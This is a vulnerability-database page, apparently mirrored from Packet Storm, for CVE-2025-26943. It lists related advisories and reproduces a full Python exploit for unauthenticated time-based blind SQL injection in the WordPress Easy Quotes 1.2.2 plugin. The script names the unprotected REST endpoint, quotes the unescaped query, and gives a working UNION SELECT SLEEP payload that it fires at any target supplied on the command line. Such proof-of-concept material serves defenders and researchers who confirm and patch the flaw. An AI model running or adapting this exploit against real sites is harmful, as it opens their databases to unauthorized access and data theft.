Lucene search
+L

📄 WordPress Easy Quotes 1.2.2 Unauthenticated Blind SQL Injection

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 22 Views

Unauthenticated time-based blind SQL injection in WordPress Easy Quotes plugin 1.2.2 via REST.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-26943
25 Feb 202517:43
circl
CNNVD
WordPress plugin Easy Quotes SQL注入漏洞
25 Feb 202500:00
cnnvd
CVE
CVE-2025-26943
25 Feb 202514:17
cve
Cvelist
CVE-2025-26943 WordPress Easy Quotes plugin <= 1.2.2 - SQL Injection vulnerability
25 Feb 202514:17
cvelist
EUVD
EUVD-2025-5439
3 Oct 202520:07
euvd
NVD
CVE-2025-26943
25 Feb 202515:15
nvd
Patchstack
WordPress Easy Quotes plugin <= 1.2.2 - SQL Injection vulnerability
23 Feb 202516:32
patchstack
Positive Technologies
PT-2025-7858
25 Feb 202500:00
ptsecurity
RedhatCVE
CVE-2025-26943
27 Feb 202514:27
redhatcve
The Hacker News
⚡ THN Weekly Recap: Alerts on Zero-Day Exploits, AI Breaches, and Crypto Heists
3 Mar 202511:58
thn
Rows per page
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Easy Quotes <= 1.2.2 - Unauthenticated Time-Based Blind SQL Injection (REST)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/easy-quotes/
    # Software Link: https://downloads.wordpress.org/plugin/easy-quotes.1.2.2.zip
    # Version: 1.2.2 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-26943
    r"""
    Easy Quotes <= 1.2.2 registers REST routes under layart/v1 with permission_callback => __return_true
    (includes/quotes-rest-route.php:25). GET /wp-json/layart/v1/font-variants?family=<x> passes `family`
    (read via $request->get_param, which WP REST delivers UNSLASHED) straight into a query with no
    escaping/prepare (includes/quotes-data.php:302):
    
        return $wpdb->get_row("SELECT * FROM `{$tablename}` WHERE `family`='".$family."';");
    
    -> unauthenticated SQL injection in a single-quoted string. The families table has 5 columns, so a
    5-column UNION SELECT executes an injected SLEEP() exactly once.
    
    Payload: x' UNION SELECT SLEEP(5),2,3,4,5-- -
    
    Prior state: none — the plugin creates and seeds its font tables on activation.
    """
    import argparse, sys, time, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def probe(base, seconds):
        inj = "x' UNION SELECT SLEEP(%d),2,3,4,5-- -" % seconds
        q = "family=" + urllib.parse.quote(inj)
        t = time.time()
        requests.get(base + "/wp-json/layart/v1/font-variants?" + q, verify=False, timeout=60)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        # The first request after a fresh plugin activation can spend several seconds
        # initializing/seeding plugin data.  Do not use that cold-start latency as the
        # control sample for a time-based oracle.
        probe(base, 0)
        t0 = min(probe(base, 0), probe(base, 0))
        t5 = probe(base, args.sleep)
        print(f"[*] Target: {base}")
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED — unauthenticated attacker-controlled SLEEP({args.sleep}) "
                  f"delayed the REST response by {t5 - t0:.2f}s (family param).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
9.1High risk
Vulners AI Score9.1
CVSS 3.19.3
EPSS0.00468
SSVC
22